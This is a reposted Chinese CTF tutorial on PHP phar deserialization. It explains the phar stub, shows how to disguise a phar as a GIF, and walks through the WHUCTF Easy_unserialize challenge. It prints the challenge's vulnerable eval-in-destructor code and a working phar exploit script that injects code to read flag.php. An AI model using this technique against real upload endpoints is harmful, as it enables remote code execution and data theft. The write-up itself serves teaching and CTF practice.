搜索

[20328] 2020-06-12_phar反序列化

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-06-12_phar反序列化 p h a r 反 序 列 化 K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 0 6 - 1 2 以 下 文 章 来 源 于 字 节 脉 搏 实 验 室   ， 作 者 p u r p l e t c o m e   o n     伸 出 中 指 戳 戳 上 方 关 注 我 … … 0 x 0 0   前 言 p h a r 反 序 列 化 就 是 可 以 在 不 使 用 p h p 函 数 u n s e r i a l i z e ( ) 的 前 提 下 ， 进 行 反 序 列 化 ， 从 而 引 起 的 严 重 的 p h p 对 象 注 入 漏 洞 。 0 x 0 1   p h a r 原 理 原 理 a   s t u b ( 必 须 理 解 必 须 理 解 ) 可 以 理 解 为 一 个 标 志 ， 格 式 为 x x x ， 前 面 内 容 不 限 ， 但 必 须 以 _ _ H A L T _ C O M P I L E R ( ) ; ? > 来 结 尾 ， 否 则 p h a r 扩 展 将 无 法 识 别 这 个 文 件 为 p h a r 文 件 。 （ 识 别 p h a r 文 件 主 要 根 据 _ _ H A L T _ C O M P I L E R ( ) ; ? > 这 部 分 ） 将 p h a r 伪 造 成 其 他 格 式 的 文 件 （ 重 点 ） 在 前 面 分 析 p h a r 的 文 件 结 构 时 可 能 会 注 意 到 ， p h p 识 别 p h a r 文 件 是 通 过 其 文 件 头 的 s t u b ， 更 确 切 一 点 来 说 是 _ _ H A L T _ C O M P I L E R ( ) ; ? > 这 段 代 码 ， 对 前 面 的 内 容 或 者 后 缀 名 是 没 有 要 求 的 。 那 么 我 们 就 可 以 通 过 添 加 任 意 的 文 件 头 + 修 改 后 缀 名 的 方 式 将 p h a r 文 件 伪 装 成 其 他 格 式 的 文 件 。 本 地 生 成 p h a r 文 件 ： 打 开 p h p s t u d y 确 定 好 对 应 版 本 ， 在 p h p . i n i 中 找 到 p h a r . r e a d o n l y 把 O n 改 成 O f f ， 前 面 ; 去 掉 ， 这 样 运 行 的 时 候 才 能 生 成 p h a r 文 件 字 节 脉 搏 实 验 室 字 节 脉 搏 实 验 室   . 活 在 字 节 海 洋 里 面 的 一 群 渔 民 ： 我 们 的 方 向 是 那 云 计 算 、 系 统 集 成 、 网 工 、 运 维 、 大 数 据 还 有 那 黑 暗 无 比 的 网 络 安 全
下 面 运 行 一 个 D e m o ， 深 入 理 解         c l a s s   T e s t O b j e c t   {         }         $ p h a r   =   n e w   P h a r ( " p h a r . p h a r " ) ;   / / 后 缀 名 必 须 为 p h a r         $ p h a r - > s t a r t B u f f e r i n g ( ) ;         $ p h a r - > s e t S t u b ( " " ) ;   / / 设 置 s t u b         $ o   =   n e w   T e s t O b j e c t ( ) ;         $ o   - >   d a t a = ' p u r p l e t ' ;         $ p h a r - > s e t M e t a d a t a ( $ o ) ;   / / 将 自 定 义 的 m e t a - d a t a 存 入 m a n i f e s t         $ p h a r - > a d d F r o m S t r i n g ( " t e s t . t x t " ,   " t e s t " ) ;   / / 添 加 要 压 缩 的 文 件         / / 签 名 自 动 计 算         $ p h a r - > s t o p B u f f e r i n g ( ) ; ? >
可 以 看 到 生 成 如 图 所 示 的 p h a r 文 件 ， 接 下 来 我 们 从 w i n h e x 中 看 一 下 方 式 即 ： p h a r : / / 加 p h a r 文 件 我 们 返 回 去 看 下 上 面 的 D e m o ， 从 第 一 个 $ o 前 面 开 始 都 是 套 路 ， 后 面 的 $ o 则 是 一 个 对 象 了 ， 我 们 通 过 对 这 个 对 象 的 调 用 赋 值 ， 最 后 将 其 作 为 p h a r 文 件 的 m e t a - d a t a 部 分 传 入 到 这 个 p h a r 文 件 ， 后 面 三 行 也 是 固 定 格 式 ， 最 后 生 成 p h a r 文 件 。 0 x 0 2   C T F 中 的 应 用 中 的 应 用 W H U C T F [ E a s y _ u n s e r i a l i z e ] 考 点 ： p h a r 反 序 列 化
题 目 上 来 是 一 个 上 传 ， 正 常 上 传 文 件 后 会 根 据 每 个 用 户 的 I P ， M D 5 加 密 生 成 一 个 文 件 夹 ， 将 内 容 保 存 ， 同 时 还 存 在 一 个 v i e w 按 钮 ， 可 查 看 上 传 的 文 件 在 u p l o a d 处 抓 包 ， 可 以 看 到 有 参 数 传 递 ， 在 一 切 毫 无 头 绪 时 ， 考 虑 文 件 包 含 漏 洞 ， 利 用 P H P 伪 协 议 读 取 到 u p l o a d . p h p 和 v i e w . p h p ， 这 里 贴 出 v i e w . p h p 的 内 容 u p l o a d . p h p 并 没 有 特 别 的 考 点 在 这 里 # i n c l u d e _ o n c e   " f l a g . p h p " ;           e r r o r _ r e p o r t i n g ( 0 ) ;         c l a s s   V i e w         {                 p u b l i c   $ d i r ;                 p r i v a t e   $ c m d ;                 f u n c t i o n   _ _ c o n s t r u c t ( )                 {                         $ t h i s - > d i r   =   ' u p l o a d / ' . m d 5 ( $ _ S E R V E R [ ' R E M O T E _ A D D R ' ] ) . ' / ' ;                         $ t h i s - > c m d   =   ' e c h o   " P o w e r e d   b y :   x x x " ; ' ;                         i f ( ! i s _ d i r ( $ t h i s - > d i r ) )   {                                 m k d i r ( $ t h i s - > d i r ,   0 7 7 7 ,   t r u e ) ;                         }                 }                 f u n c t i o n   g e t _ f i l e _ l i s t ( )   {                         $ f i l e   =   s c a n d i r ( ' . ' ) ;                         r e t u r n   $ f i l e ;                 }                 f u n c t i o n   s h o w _ f i l e _ l i s t ( )   {
                        $ f i l e   =   $ t h i s - > g e t _ f i l e _ l i s t ( ) ;                         f o r   ( $ i   =   2 ;   $ i   <   s i z e o f ( $ f i l e ) ;   $ i + + )   {                                   e c h o   " [ " . s t r v a l ( $ i   -   1 ) . " ]     $ f i l e [ $ i ]   " ;                         }                 }                 f u n c t i o n   s h o w _ i m g ( $ f i l e _ n a m e )   {                         $ n a m e   =   $ f i l e _ n a m e ;                         $ w i d t h   =   g e t i m a g e s i z e ( $ n a m e ) [ 0 ] ;                         $ h e i g h t   =   g e t i m a g e s i z e ( $ n a m e ) [ 1 ] ;                         $ t i m e s   =   $ w i d t h   /   2 0 0 ;                         $ w i d t h   / =   $ t i m e s ;                         $ h e i g h t   / =   $ t i m e s ;                         $ t e m p l a t e   =   " d i r $ n a m e "   a l t = " $ f i l e _ n a m e "   w i d t h   =   " $ w i d t h "   h e i g h t   =   " $ h e i g h t " > " ;                         e c h o   $ t e m p l a t e ;                 }                 f u n c t i o n   d e l e t e _ i m g ( $ f i l e _ n a m e )   {                         $ n a m e   =   $ f i l e _ n a m e ;                         i f   ( f i l e _ e x i s t s ( $ n a m e ) )   {                                 @ u n l i n k ( $ n a m e ) ;                                 i f ( ! f i l e _ e x i s t s ( $ n a m e ) )   {                                         e c h o   " 成 功 删 除 !   3 s 后 跳 转 " ;                                         h e a d e r ( " r e f r e s h : 3 ; u r l = v i e w . p h p " ) ;                                 }   e l s e   {                                         e c h o   " C a n   n o t   d e l e t e ! " ;                                         e x i t ;                                 }                         }   e l s e   {                                 e c h o   " 找 不 到 这 个 文 件 !   " ;                         }                 }                 f u n c t i o n   _ _ d e s t r u c t ( )   {                         e v a l ( $ t h i s - > c m d ) ;                 }         }         $ i n s   =   n e w   V i e w ( ) ;         c h d i r ( $ i n s - > d i r ) ;         e c h o   " 当 前 目 录 为   "   .   $ i n s - > d i r   .   " " ;         $ i n s - > s h o w _ f i l e _ l i s t ( ) ;         i f   ( i s s e t ( $ _ P O S T [ ' s h o w ' ] ) )   {                 $ f i l e _ n a m e   =   $ _ P O S T [ ' s h o w ' ] ;                 $ i n s - > s h o w _ i m g ( $ f i l e _ n a m e ) ;         }         i f   ( i s s e t ( $ _ P O S T [ ' d e l e t e ' ] ) )   {                 $ f i l e _ n a m e   =   $ _ P O S T [ ' d e l e t e ' ] ;                 $ i n s - > d e l e t e _ i m g ( $ f i l e _ n a m e ) ;         }         u n s e t ( $ i n s ) ;         ? > 代 码 中 不 存 在 u n s e r i a l i z e 函 数 ， 但 存 在 e v a l 函 数 ， 可 对 c m d 变 量 构 造 恶 意 代 码 。 同 时 题 目 还 是 一 个 文 件 上 传 ， 那 么 就 可 以 联 想 到 通 过 p h a r 文 件 进 行 反 序 列 化 重 构 c m d 变 量 的 值 ， 上 传 p h a r 文 件 ， 最 后 通 过 s h o w 或 者 d e l e t e 传 参 利 用 p h a r 协 议 触 发 p h a r 文 件 ， 使 构 造 的 序 列 化 代 码 进 行 反 序 列 化 构 造 ：
c l a s s   V i e w   {                 p u b l i c   $ d i r   =   ' ' ;                 p r i v a t e   $ c m d   =   ' p h p i n f o ( ) ; c h d i r ( " / v a r / w w w / h t m l " ) ; r e a d f i l e ( " f l a g . p h p " ) ; ' ; }         $ o   =   n e w   V i e w ( ) ;         u n l i n k ( " p h a r . p h a r " ) ; / / 删 除 原 有 存 在 的         $ p h a r   =   n e w   P h a r ( " p h a r . p h a r " ) ; / / 生 成         $ p h a r - > s t a r t B u f f e r i n g ( ) ;         $ p h a r - > s e t S t u b ( " G I F 8 9 a " ) ;   / / 设 置 s t u b , 加 入 G I F 头 绕 过 内 容 验 证         $ p h a r - > s e t M e t a d a t a ( $ o ) ;   / / 加 入 序 列 化 内 容         $ p h a r - > a d d F r o m S t r i n g ( " t e s t . t x t " ,   " t e s t " ) ;   / / 添 加 要 压 缩 的 文 件         $ p h a r - > s t o p B u f f e r i n g ( ) ; ? > 代 码 编 写 也 很 简 单 ， 很 多 都 是 套 路 ， d i r 变 量 处 可 以 什 么 都 不 写 ， 也 不 会 有 影 响 ， p h a r 的 学 习 可 以 参 看 h t t p s : / / p a p e r . s e e b u g . o r g / 6 8 0 / # 2 - a - m a n i f e s t - d e s c r i b i n g - t h e - c o n t e n t s ， 生 成 了 p h a r 文 件 后 进 行 上 传 ， 在 v i e w . p h p 页 面 利 用 h a c k e r   b a r 传 递 s h o w 或 d e l e t e 参 数 ， 触 发 p h a r 文 件 ， 这 样 在 类 的 方 法 中 运 行 完 后 会 触 发 _ _ d e s t r u c t 魔 术 方 法 执 行 e v a l 函 数 。 最 后 在 源 代 码 最 下 方 找 到 f l a g 公 众 号 招 募 文 章 投 稿 小 伙 伴 啦 ！ 只 要 你 有 技 术 有 想 法 要 分 享 给 更 多 的 朋 友 ， 就 可 以 参 与 到 我 们 的 投 稿 计 划 当 中 哦 ~ 感 兴 趣 的 朋 友 公 众 号 首 页 菜 单 栏 点 击 【 商 务 合 作 - 我 要 投 稿 】 即 可 。 期 待 大 家 的 参 与 ~
扫 描 二 维 码 关 注 我 们 等 你 哟 ~ 点 亮   ， 告 诉 大 家 你 也 在 看
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理